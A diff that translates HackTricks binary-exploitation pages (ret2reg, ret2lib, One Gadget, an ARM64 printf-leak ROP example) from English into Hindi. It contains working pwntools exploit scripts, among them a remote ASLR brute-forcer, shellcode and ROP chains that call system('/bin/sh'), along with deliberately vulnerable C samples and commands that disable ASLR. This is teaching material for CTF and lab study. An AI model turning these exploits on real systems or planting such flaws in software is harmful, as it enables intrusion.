-You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### उदाहरण +आप इस तकनीक का एक उदाहरण [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) में एक अंतिम एक्सप्लॉइट के साथ पा सकते हैं: ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: - +आप इस तकनीक का एक और उदाहरण देख सकते हैं [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)। यहाँ एक बफर ओवरफ्लो है जिसमें NX सक्षम नहीं है, एक गैजेट का उपयोग किया गया है **`$esp` के पते को कम करने के लिए** और फिर `jmp esp;` का उपयोग करके शेलकोड पर कूदने के लिए: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +इसी तरह, यदि हम जानते हैं कि एक फ़ंक्शन उस पते को लौटाता है जहाँ शेलकोड संग्रहीत है, तो हम **`call eax`** या **`jmp eax`** निर्देशों का उपयोग कर सकते हैं (जिसे **ret2eax** तकनीक के रूप में जाना जाता है), जो हमारे शेलकोड को निष्पादित करने का एक और तरीका प्रदान करता है। जैसे eax, **कोई अन्य रजिस्टर** जिसमें एक दिलचस्प पता हो, का उपयोग किया जा सकता है (**ret2reg**). -### Example +### उदाहरण -You can find some examples here: +आप कुछ उदाहरण यहाँ पा सकते हैं: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** **`eax`** में उस बफर का पता संग्रहीत करेगा जहाँ शेलकोड संग्रहीत था और **`eax`** को अधिलेखित नहीं किया जा रहा है, इसलिए `ret2eax` का उपयोग करना संभव है। ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +ARM64 में **कोई** निर्देश नहीं हैं जो **SP रजिस्टर पर कूदने** की अनुमति देते हैं। यह संभव हो सकता है कि एक गैजेट मिले जो **sp को एक रजिस्टर में स्थानांतरित करता है और फिर उस रजिस्टर पर कूदता है**, लेकिन मेरी काली की libc में मुझे ऐसा कोई गैजेट नहीं मिला: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +मैंने केवल वही खोजा जो उस रजिस्ट्रि के मान को बदल देगा जहाँ sp को कूदने से पहले कॉपी किया गया था (इसलिए यह बेकार हो जाएगा):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +यदि किसी रजिस्ट्रि का एक दिलचस्प पता है, तो इसे कूदने के लिए केवल उचित निर्देश खोजकर कूदना संभव है। आप कुछ ऐसा उपयोग कर सकते हैं: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` +ARM64 में, यह **`x0`** है जो एक फ़ंक्शन का रिटर्न वैल्यू स्टोर करता है, इसलिए यह हो सकता है कि x0 एक बफर का पता स्टोर करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है। -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. - -Example code: - +उदाहरण कोड: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +फंक्शन के डिसअसेंबली की जांच करने पर यह देखा जा सकता है कि **बफर का पता** (bof के लिए संवेदनशील और **उपयोगकर्ता द्वारा नियंत्रित**) **`x0` में संग्रहीत** है बफर ओवरफ्लो से लौटने से पहले:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +यह भी संभव है कि **`do_stuff`** फंक्शन में **गैजेट **`br x0`** पाया जाए:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +हम उस गैजेट का उपयोग करेंगे क्योंकि बाइनरी **बिना PIE के संकलित** है। एक पैटर्न का उपयोग करके यह देखा जा सकता है कि **बफर ओवरफ्लो का ऑफसेट 80 है**, इसलिए एक्सप्लॉइट होगा: ```python from pwn import * @@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> यदि `fgets` के बजाय कुछ ऐसा **`read`** का उपयोग किया गया होता, तो **केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके** PIE को बायपास करना संभव होता, ताकि `br x0;` इंस्ट्रक्शन पर वापस लौट सकें बिना पूरे एड्रेस को जाने।\ +> `fgets` के साथ यह काम नहीं करता क्योंकि यह **अंत में एक नल (0x00) बाइट जोड़ता है**। ## Protections -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): यदि स्टैक निष्पादन योग्य नहीं है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए कूदना है। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): ये किसी इंस्ट्रक्शन को esp या किसी अन्य रजिस्टर पर कूदने के लिए ढूंढना कठिन बना सकते हैं। ## References diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..80883f38f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,103 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **बुनियादी जानकारी** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +**Ret2Libc** का सार यह है कि यह एक कमजोर प्रोग्राम के निष्पादन प्रवाह को एक साझा पुस्तकालय (जैसे, **system**, **execve**, **strcpy**) के भीतर एक फ़ंक्शन की ओर पुनर्निर्देशित करता है, बजाय इसके कि हमलावर द्वारा प्रदान किए गए शेलकोड को स्टैक पर निष्पादित किया जाए। हमलावर एक पेलोड तैयार करता है जो स्टैक पर लौटने के पते को उस पुस्तकालय फ़ंक्शन की ओर मोड़ता है, जबकि आवश्यक तर्कों को कॉलिंग कन्वेंशन के अनुसार सही तरीके से सेट करने की व्यवस्था भी करता है। -### **Example Steps (simplified)** +### **उदाहरण चरण (सरल किया हुआ)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- कॉल करने के लिए फ़ंक्शन का पता प्राप्त करें (जैसे system) और कॉल करने के लिए कमांड (जैसे /bin/sh) +- पहले तर्क को कमांड स्ट्रिंग की ओर इंगित करने और फ़ंक्शन के लिए निष्पादन प्रवाह को पास करने के लिए एक ROP श्रृंखला उत्पन्न करें -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## पते खोजना +- मान लीजिए कि `libc` जो उपयोग किया जा रहा है वह वर्तमान मशीन से है, आप यह पता लगा सकते हैं कि इसे मेमोरी में कहाँ लोड किया जाएगा: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +यदि आप यह जांचना चाहते हैं कि क्या ASLR libc के पते को बदल रहा है, तो आप कर सकते हैं: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- libc का ज्ञान होने पर `system` फ़ंक्शन के लिए ऑफ़सेट ढूंढना भी संभव है: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- libc का ज्ञान होने पर यह संभव है कि `/bin/sh` फ़ंक्शन के लिए ऑफ़सेट पाया जा सके: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### gdb-peda / GEF का उपयोग करना -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +libc का ज्ञान होने पर, Peda या GEF का उपयोग करके **system** फ़ंक्शन, **exit** फ़ंक्शन और स्ट्रिंग **`/bin/sh`** का पता लगाना भी संभव है: ```bash p system p exit find "/bin/sh" ``` +### /proc/\/maps का उपयोग करना -### Using /proc/\/maps +यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) **बच्चे** बना रही है, तो उस फ़ाइल को **पढ़ने** की कोशिश करें (संभवतः आपको रूट होना पड़ेगा)। -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +यहाँ आप **सटीक रूप से देख सकते हैं कि libc प्रक्रिया के अंदर कहाँ लोड हो रहा है** और **प्रक्रिया के हर बच्चे के लिए कहाँ लोड होने वाला है**। ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +इस मामले में यह **0xb75dc000** में लोड हो रहा है (यह libc का बेस पता होगा) -## Unknown libc +## अज्ञात libc -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +यह संभव है कि आप **नहीं जानते कि बाइनरी कौन सा libc लोड कर रहा है** (क्योंकि यह एक सर्वर पर हो सकता है जहाँ आपके पास कोई पहुँच नहीं है)। उस मामले में आप **कुछ पते लीक करने के लिए भेद्यता का दुरुपयोग कर सकते हैं और पता लगा सकते हैं कि कौन सी libc** लाइब्रेरी का उपयोग किया जा रहा है: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +और आप इसके लिए एक pwntools टेम्पलेट यहाँ पा सकते हैं: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### 2 ऑफसेट के साथ libc जानना -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +पृष्ठ [https://libc.blukat.me/](https://libc.blukat.me/) की जाँच करें और libc के अंदर फ़ंक्शनों के **कुछ पते** का उपयोग करें ताकि **उपयोग की गई संस्करण** का पता लगाया जा सके। -## Bypassing ASLR in 32 bits +## 32 बिट में ASLR को बायपास करना -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +ये ब्रूट-फोर्सिंग हमले **केवल 32 बिट सिस्टम के लिए उपयोगी हैं**। +- यदि एक्सप्लॉइट स्थानीय है, तो आप libc के बेस पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32 बिट सिस्टम के लिए उपयोगी): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त समय लेता है**, तो आपने इस फ़ंक्शन का पता लगा लिया है। ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +एक शेल को केवल **एक** विशिष्ट **पते** पर libc में कूदकर निष्पादित करें: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Code Example - -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: +## x86 Ret2lib कोड उदाहरण +इस उदाहरण में ASLR ब्रूट-फोर्स कोड में एकीकृत है और कमजोर बाइनरी एक दूरस्थ सर्वर पर स्थित है: ```python from pwn import * @@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` +## x64 Ret2lib कोड उदाहरण -## x64 Ret2lib Code Example - -Check the example from: +उदाहरण देखें: {{#ref}} ../ {{#endref}} -## ARM64 Ret2lib Example +## ARM64 Ret2lib उदाहरण -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +ARM64 के मामले में, ret निर्देश उस स्थान पर कूदता है जहाँ x30 रजिस्टर इशारा कर रहा है और न कि जहाँ स्टैक रजिस्टर इशारा कर रहा है। इसलिए यह थोड़ा अधिक जटिल है। -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +ARM64 में एक निर्देश वही करता है जो निर्देश करता है (निर्देशों के बीच में कूदना और उन्हें नए में बदलना संभव नहीं है)। -Check the example from: +उदाहरण देखें: {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} -## Ret-into-printf (or puts) +## Ret-into-printf (या puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +यह **प्रक्रिया से जानकारी लीक करने** की अनुमति देता है `printf`/`puts` को कुछ विशिष्ट डेटा को तर्क के रूप में डालकर कॉल करके। उदाहरण के लिए, `puts` के GOT के पते को `puts` के निष्पादन में डालने से **मेमोरी में `puts` का पता लीक होगा**। ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +इसका मूलतः मतलब है **Ret2lib का दुरुपयोग करना ताकि इसे `printf` फॉर्मेट स्ट्रिंग्स की कमजोरियों में बदल दिया जाए** `ret2lib` का उपयोग करके printf को उन मानों के साथ कॉल करना जो इसका शोषण करते हैं (सुनने में बेकार लगता है लेकिन संभव है): {{#ref}} ../../format-strings/ {{#endref}} -## Other Examples & references +## अन्य उदाहरण और संदर्भ - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib, libc में एक फ़ंक्शन के पते को लीक करने के लिए, एक गेजेट का उपयोग करना - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम एक ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए ताकि फिर puts को कॉल किया जा सके और इसे लीक किया जा सके। कैनरी के साथ एक ROP गेजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक किया जा सके और फिर `system('/bin/sh')` को कॉल करने के लिए एक ROP गेजेट। - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, मुख्य से एक चाइल्ड फ़ंक्शन में स्टैक ओवरफ्लो। GOT से puts के पते को लीक करने के लिए puts को कॉल करने के लिए ROP गेजेट और फिर एक गेजेट को कॉल करें। - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64 बिट, कोई pie नहीं, कोई कैनरी नहीं, कोई relro नहीं, nx। लिखने के फ़ंक्शन का उपयोग करके लिखने के पते (libc) को लीक करता है और एक गेजेट को कॉल करता है। - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- स्टैक से कैनरी को लीक करने के लिए एक फॉर्मेट स्ट्रिंग का उपयोग करता है और `/bin/sh` के पते के साथ सिस्टम में कॉल करने के लिए एक बफर ओवरफ्लो करता है (यह GOT में है)। - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 बिट, कोई relro नहीं, कोई कैनरी नहीं, nx, pie। स्टैक से libc और heap के पते को लीक करने के लिए एक खराब इंडेक्सिंग का दुरुपयोग करें। `system('/bin/sh')` को कॉल करने के लिए ret2lib का दुरुपयोग करें (heap का पता एक जांच को बायपास करने के लिए आवश्यक है)। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..83cb8a9da 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -4,34 +4,30 @@ ## Basic Information -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget) आपको **system** और **"/bin/sh"** का उपयोग किए बिना एक शेल प्राप्त करने की अनुमति देता है। **One Gadget** libc पुस्तकालय के अंदर एक ऐसा तरीका खोजेगा जिससे आप केवल एक **address** का उपयोग करके शेल प्राप्त कर सकें (`execve("/bin/sh")`)।\ +हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से टालने योग्य सीमाएँ हैं जैसे कि `[rsp+0x30] == NULL`। चूंकि आप **RSP** के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि यह सीमा टल सके। ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +आपको One Gadget द्वारा निर्दिष्ट पते पर **`libc`** लोड होने का आधार पता **जोड़ना** होगा। > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> One Gadget **Arbitrary Write 2 Exec तकनीकों** के लिए **महान मदद** है और यह **ROP** **चेन** को **सरल** बना सकता है क्योंकि आपको केवल एक पते को कॉल करने की आवश्यकता होती है (और आवश्यकताओं को पूरा करना होता है)। ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +गिटहब रिपॉजिटरी में उल्लेख किया गया है कि **ARM64 का समर्थन** इस उपकरण द्वारा किया गया है, लेकिन जब इसे Kali 2023.3 के libc में चलाया जाता है **तो यह कोई गैजेट नहीं ढूंढता**। ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +[**गिटहब रिपॉजिटरी**](https://github.com/ChrisTheCoolHut/angry_gadget) से: [OneGadget](https://github.com/david942j/one_gadget) से प्रेरित, यह उपकरण पायथन में लिखा गया है और गैजेट्स के लिए `execve('/bin/sh', NULL, NULL)` को निष्पादित करने के लिए बाधाओं का परीक्षण करने के लिए [angr](https://github.com/angr/angr) का उपयोग करता है।\ +यदि आपने OneGadget से प्रयास करने के लिए गैजेट्स समाप्त कर दिए हैं, तो Angry Gadget जटिल बाधाओं के साथ और भी बहुत कुछ प्रदान करता है! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..18d9b8e1e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - NX बायपास ROP के साथ (कोई ASLR नहीं) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +कैनरी के बिना संकलित करें: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### ऑफसेट खोजें -### Find offset +### x30 ऑफसेट -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +**`pattern create 200`** के साथ एक पैटर्न बनाकर, इसका उपयोग करके और **`pattern search $x30`** के साथ ऑफसेट की जांच करते हुए, हम देख सकते हैं कि ऑफसेट **`108`** (0x6c) है।
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +मुख्य फ़ंक्शन के डिस्सेम्बल किए गए रूप को देखने पर, हम देख सकते हैं कि हम **`printf`** पर सीधे **जंप** करना चाहेंगे, जिसका ऑफसेट बाइनरी लोड होने के स्थान से **`0x860`** है:
-### Find system and `/bin/sh` string +### सिस्टम और `/bin/sh` स्ट्रिंग खोजें -As the ASLR is disabled, the addresses are going to be always the same: +चूंकि ASLR अक्षम है, पते हमेशा समान रहने वाले हैं:
-### Find Gadgets +### गैजेट्स खोजें -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +हमें **`x0`** में स्ट्रिंग **`/bin/sh`** का पता होना चाहिए और **`system`** को कॉल करना चाहिए। +रोपर का उपयोग करते हुए एक दिलचस्प गैजेट पाया गया: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +यह गैजेट **`$sp + 0x18`** से `x0` लोड करेगा और फिर `sp` से `x29` और `x30` के पते लोड करेगा और `x30` पर कूद जाएगा। इसलिए इस गैजेट के साथ हम **पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं**। ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - NX, ASL & PIE बायपास स्टैक से printf लीक के साथ ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +**बिना कैनरी के संकलित करें**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` +### PIE और ASLR लेकिन कोई कैनरी नहीं -### PIE and ASLR but no canary +- राउंड 1: +- स्टैक से PIE का लीक +- मेन में वापस जाने के लिए bof का दुरुपयोग +- राउंड 2: +- स्टैक से libc का लीक +- ROP: ret2system -- Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main -- Round 2: - - Leak of libc from the stack - - ROP: ret2system +### Printf लीक -### Printf leaks - -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +Printf को कॉल करने से पहले एक ब्रेकपॉइंट सेट करने पर यह देखना संभव है कि स्टैक में बाइनरी पर लौटने के लिए पते और libc पते हैं:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +विभिन्न ऑफसेट्स का प्रयास करते समय, **`%21$p`** एक बाइनरी पता लीक कर सकता है (PIE बायपास) और **`%25$p`** एक libc पता लीक कर सकता है:
